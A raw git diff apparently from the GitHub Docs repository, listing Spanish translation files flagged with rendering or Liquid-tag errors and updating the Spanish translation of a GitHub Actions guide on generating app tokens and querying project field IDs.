translations/es-ES/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md,rendering error translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md,rendering error -translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md,rendering error translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md,broken liquid tags -translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md,rendering error translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/codespaces-reference/security-in-github-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md,broken liquid tags +translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,broken liquid tags translations/es-ES/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md,broken liquid tags +translations/es-ES/content/codespaces/customizing-your-codespace/renaming-a-codespace.md,broken liquid tags translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md,broken liquid tags -translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,broken liquid tags translations/es-ES/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md,broken liquid tags -translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md,broken liquid tags +translations/es-ES/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,broken liquid tags +translations/es-ES/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,broken liquid tags +translations/es-ES/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md,broken liquid tags +translations/es-ES/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md,broken liquid tags +translations/es-ES/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md,broken liquid tags translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md,broken liquid tags translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md,broken liquid tags translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md,broken liquid tags +translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,broken liquid tags translations/es-ES/content/codespaces/getting-started/deep-dive.md,broken liquid tags translations/es-ES/content/codespaces/getting-started/quickstart.md,broken liquid tags translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md,broken liquid tags -translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md,rendering error +translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/index.md,broken liquid tags +translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md,broken liquid tags +translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md,broken liquid tags +translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md,broken liquid tags translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md,broken liquid tags translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md,broken liquid tags @@ -789,7 +805,10 @@ translations/es-ES/content/codespaces/overview.md,broken liquid tags translations/es-ES/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md,broken liquid tags translations/es-ES/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md,broken liquid tags translations/es-ES/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md,broken liquid tags +translations/es-ES/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md,broken liquid tags +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md,broken liquid tags translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md,broken liquid tags +translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md,broken liquid tags translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,broken liquid tags @@ -797,10 +816,12 @@ translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/set translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md,broken liquid tags translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md,broken liquid tags translations/es-ES/content/codespaces/troubleshooting/github-codespaces-logs.md,broken liquid tags -translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md,broken liquid tags +translations/es-ES/content/codespaces/troubleshooting/index.md,broken liquid tags translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md,broken liquid tags +translations/es-ES/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md,broken liquid tags translations/es-ES/content/codespaces/troubleshooting/troubleshooting-prebuilds.md,broken liquid tags translations/es-ES/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md,broken liquid tags +translations/es-ES/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md,broken liquid tags translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md,broken liquid tags translations/es-ES/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md,rendering error @@ -810,16 +831,15 @@ translations/es-ES/content/copilot/getting-started-with-github-copilot/getting-s translations/es-ES/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md,broken liquid tags translations/es-ES/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md,broken liquid tags translations/es-ES/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md,broken liquid tags +translations/es-ES/content/copilot/overview-of-github-copilot/about-github-copilot.md,broken liquid tags translations/es-ES/content/copilot/quickstart.md,broken liquid tags translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md,broken liquid tags translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md,broken liquid tags translations/es-ES/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,broken liquid tags translations/es-ES/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,broken liquid tags translations/es-ES/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,broken liquid tags -translations/es-ES/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md,rendering error translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md,rendering error -translations/es-ES/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md,broken liquid tags translations/es-ES/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md,rendering error translations/es-ES/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md,rendering error translations/es-ES/content/developers/apps/guides/using-the-github-api-in-your-app.md,rendering error @@ -837,9 +857,12 @@ translations/es-ES/content/discussions/collaborating-with-your-community-using-d translations/es-ES/content/discussions/guides/finding-your-discussions.md,broken liquid tags translations/es-ES/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md,broken liquid tags translations/es-ES/content/discussions/managing-discussions-for-your-community/managing-discussions.md,broken liquid tags +translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md,broken liquid tags +translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md,broken liquid tags translations/es-ES/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md,broken liquid tags translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md,broken liquid tags +translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md,broken liquid tags translations/es-ES/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,broken liquid tags translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,broken liquid tags translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,broken liquid tags @@ -858,6 +881,7 @@ translations/es-ES/content/get-started/importing-your-projects-to-github/importi translations/es-ES/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md,broken liquid tags translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md,rendering error translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md,broken liquid tags +translations/es-ES/content/get-started/learning-about-github/githubs-products.md,broken liquid tags translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md,broken liquid tags translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md,broken liquid tags translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,rendering error @@ -865,11 +889,11 @@ translations/es-ES/content/get-started/onboarding/getting-started-with-github-en translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md,broken liquid tags translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md,broken liquid tags translations/es-ES/content/get-started/quickstart/be-social.md,broken liquid tags -translations/es-ES/content/get-started/quickstart/communicating-on-github.md,broken liquid tags translations/es-ES/content/get-started/quickstart/contributing-to-projects.md,rendering error translations/es-ES/content/get-started/quickstart/create-a-repo.md,broken liquid tags -translations/es-ES/content/get-started/quickstart/fork-a-repo.md,broken liquid tags +translations/es-ES/content/get-started/quickstart/fork-a-repo.md,rendering error translations/es-ES/content/get-started/quickstart/git-and-github-learning-resources.md,broken liquid tags +translations/es-ES/content/get-started/quickstart/github-glossary.md,rendering error translations/es-ES/content/get-started/signing-up-for-github/verifying-your-email-address.md,rendering error translations/es-ES/content/get-started/using-git/about-git-rebase.md,broken liquid tags translations/es-ES/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,broken liquid tags @@ -897,9 +921,7 @@ translations/es-ES/content/graphql/reference/unions.md,rendering error translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md,rendering error translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md,rendering error translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md,rendering error -translations/es-ES/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md,broken liquid tags -translations/es-ES/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md,broken liquid tags -translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md,broken liquid tags +translations/es-ES/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md,broken liquid tags translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,rendering error translations/es-ES/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md,broken liquid tags translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,broken liquid tags @@ -917,11 +939,11 @@ translations/es-ES/content/organizations/managing-organization-settings/managing translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,rendering error translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,broken liquid tags translations/es-ES/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md,rendering error +translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md,broken liquid tags translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md,rendering error translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md,broken liquid tags translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error -translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,broken liquid tags translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md,rendering error translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,rendering error translations/es-ES/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md,rendering error @@ -944,7 +966,6 @@ translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pag translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md,broken liquid tags translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md,rendering error translations/es-ES/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md,rendering error -translations/es-ES/content/pages/index.md,broken liquid tags translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,rendering error translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,broken liquid tags translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,rendering error @@ -977,10 +998,10 @@ translations/es-ES/content/repositories/configuring-branches-and-merges-in-your- translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,broken liquid tags translations/es-ES/content/repositories/creating-and-managing-repositories/cloning-a-repository.md,broken liquid tags +translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md,broken liquid tags translations/es-ES/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,rendering error translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error translations/es-ES/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md,broken liquid tags -translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,broken liquid tags translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,rendering error @@ -994,6 +1015,7 @@ translations/es-ES/content/repositories/releasing-projects-on-github/managing-re translations/es-ES/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md,broken liquid tags translations/es-ES/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,broken liquid tags translations/es-ES/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,broken liquid tags +translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md,broken liquid tags translations/es-ES/content/rest/activity/notifications.md,broken liquid tags translations/es-ES/content/rest/apps/oauth-applications.md,broken liquid tags translations/es-ES/content/rest/codespaces/codespaces.md,broken liquid tags @@ -1014,8 +1036,6 @@ translations/es-ES/content/rest/enterprise-admin/repo-pre-receive-hooks.md,broke translations/es-ES/content/rest/enterprise-admin/scim.md,rendering error translations/es-ES/content/rest/enterprise-admin/users.md,broken liquid tags translations/es-ES/content/rest/gitignore.md,broken liquid tags -translations/es-ES/content/rest/guides/building-a-ci-server.md,broken liquid tags -translations/es-ES/content/rest/guides/delivering-deployments.md,broken liquid tags translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md,broken liquid tags translations/es-ES/content/rest/guides/traversing-with-pagination.md,rendering error translations/es-ES/content/rest/guides/working-with-comments.md,broken liquid tags @@ -1028,13 +1048,12 @@ translations/es-ES/content/rest/overview/troubleshooting.md,broken liquid tags translations/es-ES/content/rest/packages.md,broken liquid tags translations/es-ES/content/rest/projects/projects.md,broken liquid tags translations/es-ES/content/rest/quickstart.md,broken liquid tags -translations/es-ES/content/rest/repos/lfs.md,broken liquid tags translations/es-ES/content/rest/scim.md,broken liquid tags translations/es-ES/content/rest/teams/team-sync.md,broken liquid tags translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,broken liquid tags translations/es-ES/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,broken liquid tags +translations/es-ES/content/search-github/searching-on-github/searching-code.md,broken liquid tags translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md,broken liquid tags -translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md,broken liquid tags translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md,broken liquid tags translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md,broken liquid tags @@ -1061,7 +1080,6 @@ translations/es-ES/data/release-notes/enterprise-server/3-4/8.yml,rendering erro translations/es-ES/data/release-notes/enterprise-server/3-5/0-rc1.yml,rendering error translations/es-ES/data/release-notes/enterprise-server/3-5/4.yml,rendering error translations/es-ES/data/release-notes/enterprise-server/3-6/0-rc1.yml,rendering error -translations/es-ES/data/reusables/accounts/create-personal-access-tokens.md,broken liquid tags translations/es-ES/data/reusables/actions/about-actions-for-enterprises.md,broken liquid tags translations/es-ES/data/reusables/actions/actions-do-not-trigger-workflows.md,broken liquid tags translations/es-ES/data/reusables/actions/cache-default-size.md,broken liquid tags @@ -1073,7 +1091,6 @@ translations/es-ES/data/reusables/actions/disabling-github-actions.md,broken liq translations/es-ES/data/reusables/actions/enterprise-common-prereqs.md,broken liquid tags translations/es-ES/data/reusables/actions/enterprise-marketplace-actions.md,broken liquid tags translations/es-ES/data/reusables/actions/enterprise-postinstall-nextsteps.md,broken liquid tags -translations/es-ES/data/reusables/actions/enterprise-storage-ha-backups.md,broken liquid tags translations/es-ES/data/reusables/actions/github-connect-resolution.md,broken liquid tags translations/es-ES/data/reusables/actions/hosted-runner-security.md,broken liquid tags translations/es-ES/data/reusables/actions/ip-allow-list-self-hosted-runners.md,broken liquid tags @@ -1091,6 +1108,7 @@ translations/es-ES/data/reusables/actions/self-hosted-runner-management-permissi translations/es-ES/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md,broken liquid tags translations/es-ES/data/reusables/actions/self-hosted-runner-ports-protocols.md,broken liquid tags translations/es-ES/data/reusables/actions/settings-ui/settings-actions-general.md,rendering error +translations/es-ES/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md,rendering error translations/es-ES/data/reusables/actions/settings-ui/settings-actions-runner-groups.md,rendering error translations/es-ES/data/reusables/actions/settings-ui/settings-actions-runners.md,rendering error translations/es-ES/data/reusables/actions/sidebar-secret.md,rendering error @@ -1109,18 +1127,20 @@ translations/es-ES/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md translations/es-ES/data/reusables/branches/new-repo-default-branch.md,broken liquid tags translations/es-ES/data/reusables/classroom/about-autograding.md,broken liquid tags translations/es-ES/data/reusables/code-scanning/autobuild-add-build-steps.md,broken liquid tags +translations/es-ES/data/reusables/code-scanning/autobuild-compiled-languages.md,broken liquid tags translations/es-ES/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md,broken liquid tags translations/es-ES/data/reusables/code-scanning/codeql-languages-bullets.md,rendering error translations/es-ES/data/reusables/code-scanning/codeql-languages-keywords.md,rendering error +translations/es-ES/data/reusables/code-scanning/codeql-runner-analyze-example.md,broken liquid tags +translations/es-ES/data/reusables/code-scanning/deprecation-codeql-runner.md,broken liquid tags +translations/es-ES/data/reusables/code-scanning/edit-workflow.md,broken liquid tags translations/es-ES/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md,broken liquid tags translations/es-ES/data/reusables/code-scanning/enterprise-enable-code-scanning.md,broken liquid tags translations/es-ES/data/reusables/code-scanning/what-is-codeql-cli.md,broken liquid tags -translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md,broken liquid tags -translations/es-ES/data/reusables/codespaces/codespaces-org-policies-note.md,broken liquid tags +translations/es-ES/data/reusables/codespaces/codespaces-disabling-org-billing.md,broken liquid tags translations/es-ES/data/reusables/codespaces/codespaces-spending-limit-requirement.md,broken liquid tags translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md,broken liquid tags translations/es-ES/data/reusables/codespaces/customize-vcpus-and-ram.md,broken liquid tags -translations/es-ES/data/reusables/codespaces/more-info-devcontainer.md,broken liquid tags translations/es-ES/data/reusables/codespaces/next-steps-adding-devcontainer.md,broken liquid tags translations/es-ES/data/reusables/codespaces/prebuilds-crossreference.md,broken liquid tags translations/es-ES/data/reusables/codespaces/secrets-on-start.md,broken liquid tags @@ -1130,7 +1150,7 @@ translations/es-ES/data/reusables/copilot/install-copilot-in-neovim.md,broken li translations/es-ES/data/reusables/dependabot/beta-security-and-version-updates.md,rendering error translations/es-ES/data/reusables/dependabot/default-dependencies-allow-ignore.md,broken liquid tags translations/es-ES/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md,rendering error -translations/es-ES/data/reusables/dependabot/enterprise-enable-dependabot.md,rendering error +translations/es-ES/data/reusables/dependabot/sidebar-secret.md,rendering error translations/es-ES/data/reusables/dependabot/supported-package-managers.md,rendering error translations/es-ES/data/reusables/desktop/get-an-account.md,broken liquid tags translations/es-ES/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md,broken liquid tags @@ -1171,6 +1191,7 @@ translations/es-ES/data/reusables/enterprise_user_management/consider-usernames- translations/es-ES/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md,broken liquid tags translations/es-ES/data/reusables/files/choose-commit-email.md,broken liquid tags translations/es-ES/data/reusables/gated-features/codespaces-classroom-articles.md,broken liquid tags +translations/es-ES/data/reusables/gated-features/copilot.md,broken liquid tags translations/es-ES/data/reusables/gated-features/dependency-vulnerable-calls.md,rendering error translations/es-ES/data/reusables/gated-features/secret-scanning-partner.md,rendering error translations/es-ES/data/reusables/gated-features/secret-scanning.md,rendering error @@ -1210,6 +1231,7 @@ translations/es-ES/data/reusables/pages/sidebar-pages.md,rendering error translations/es-ES/data/reusables/policies/abuse.md,rendering error translations/es-ES/data/reusables/projects/enable-basic-workflow.md,broken liquid tags translations/es-ES/data/reusables/projects/graphql-ghes.md,rendering error +translations/es-ES/data/reusables/projects/projects-filters.md,broken liquid tags translations/es-ES/data/reusables/pull_requests/configure_pull_request_merges_intro.md,broken liquid tags translations/es-ES/data/reusables/pull_requests/default_merge_option.md,broken liquid tags translations/es-ES/data/reusables/pull_requests/pull_request_merges_and_contributions.md,broken liquid tags @@ -1225,6 +1247,7 @@ translations/es-ES/data/reusables/repositories/navigate-to-repo.md,broken liquid translations/es-ES/data/reusables/repositories/repository-branches.md,rendering error translations/es-ES/data/reusables/repositories/sidebar-notifications.md,rendering error translations/es-ES/data/reusables/repositories/suggest-changes.md,broken liquid tags +translations/es-ES/data/reusables/repositories/tracks-vulnerabilities.md,broken liquid tags translations/es-ES/data/reusables/repositories/you-can-fork.md,broken liquid tags translations/es-ES/data/reusables/rest-api/dotcom-only-guide-note.md,rendering error translations/es-ES/data/reusables/saml/about-authorized-credentials.md,broken liquid tags @@ -1262,8 +1285,6 @@ translations/es-ES/data/reusables/user-settings/saved_replies.md,rendering error translations/es-ES/data/reusables/user-settings/security-analysis.md,rendering error translations/es-ES/data/reusables/user-settings/security.md,rendering error translations/es-ES/data/reusables/user-settings/ssh.md,rendering error -translations/es-ES/data/reusables/webhooks/pull_request_properties.md,broken liquid tags -translations/es-ES/data/reusables/webhooks/pull_request_webhook_properties.md,broken liquid tags translations/es-ES/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md,broken liquid tags translations/es-ES/data/reusables/webhooks/workflow_run_properties.md,broken liquid tags translations/es-ES/data/variables/product.yml,broken liquid tags
-This workflow runs whenever a pull request in the repository is marked as "ready for review". +Este flujo de trabajo se ejecuta cada que una solicitud de cambios en el repositorio se marca como "ready for review".
-{% data variables.product.prodname_github_app %} only: +{% data variables.product.prodname_github_app %} solo: ```yaml - name: Generate token @@ -317,13 +321,13 @@ This workflow runs whenever a pull request in the repository is marked as "ready -Uses the tibdex/github-app-token action to generate an installation access token for your app from the app ID and private key. The installation access token is accessed later in the workflow as {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}. +Usa la acción tibdex/github-app-token para generar un token de acceso de instalación para la aplicación a partir del id. de la aplicación y la clave privada. Más adelante en el flujo de trabajo se accede al token de acceso de instalación como {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}.

-Replace APP_ID with the name of the secret that contains your app ID. +Reemplace APP_ID por el nombre del secreto que contiene el id. de la aplicación.

-Replace APP_PEM with the name of the secret that contains your app private key. +Reemplace APP_PEM por el nombre del secreto que contiene la clave privada de la aplicación.
-Sets environment variables for this step. +Configura las variables para este paso.

-If you are using a {% data variables.product.pat_generic %}, replace YOUR_TOKEN with the name of the secret that contains your {% data variables.product.pat_generic %}. +Si usas un {% data variables.product.pat_generic %}, reemplaza YOUR_TOKEN por el nombre del secreto que contiene tu {% data variables.product.pat_generic %}.

-Replace YOUR_ORGANIZATION with the name of your organization. For example, octo-org. +Reemplaza YOUR_ORGANIZATION por el nombre de la organización. Por ejemplo, octo-org.

-Replace YOUR_PROJECT_NUMBER with your project number. To find the project number, look at the project URL. For example, https://github.com/orgs/octo-org/projects/5 has a project number of 5. +Reemplace YOUR_PROJECT_NUMBER por el número del proyecto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, https://github.com/orgs/octo-org/projects/5 tiene "5" como número de proyecto.
-

Uses {% data variables.product.prodname_cli %} to query the API for the ID of the project and return the name and ID of the first 20 fields in the project. fields returns a union and the query uses inline fragments (... on) to return information about any ProjectV2Field and ProjectV2SingleSelectField fields.

+

Usa {% data variables.product.prodname_cli %} para consultar a la API el id.del proyecto y devolver el nombre y el id. de los primeros 20 campos del proyecto. fields devuelve una unión y la consulta usa fragmentos insertados (... on) para devolver información acerca de los campos ProjectV2Field y ProjectV2SingleSelectField.

-

The response is stored in a file called project_data.json.

+

La respuesta se almacena en un archivo denominado project_data.json.

-Parses the response from the API query and stores the relevant IDs as environment variables. Modify this to get the ID for different fields or options. For example: +Analiza la respuesta desde la consulta de la API y almacena las ID relevantes como variables de ambiente. Modifica esto para obtener la ID para los campos u opciones diferentes. Por ejemplo:
    -
  • To get the ID of a field called Team, add echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV.
  • -
  • To get the ID of an option called Octoteam for the Team single select field, add echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") |.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV
  • +
  • Para obtener el identificador de un campo denominado Team, agregue echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV.
  • +
  • Para obtener el id. de una opción denominada Octoteam para el campo de selección única Team, agrega echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select(.name== "Team") |.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV.
-Note: This workflow assumes that you have a project with a single select field called "Status" that includes an option called "Todo" and a date field called "Date posted". You must modify this section to match the fields that are present in your table. +Nota: En este flujo de trabajo se da por hecho que tiene un proyecto con un único campo de selección denominado "Status" (Estado) que incluye una opción denominada "Todo" (Pendiente) y un campo de fecha denominado "Date posted" (Fecha de publicación). Debes modificar esta sección para empatar con los campos que están presentes en tu tabla.
-Sets environment variables for this step. GITHUB_TOKEN is described above. PR_ID is the ID of the pull request that triggered this workflow. +Configura las variables para este paso. GITHUB_TOKEN se ha descrito anteriormente. PR_ID es el identificador de la solicitud de incorporación de cambios que ha desencadenado este flujo de trabajo.
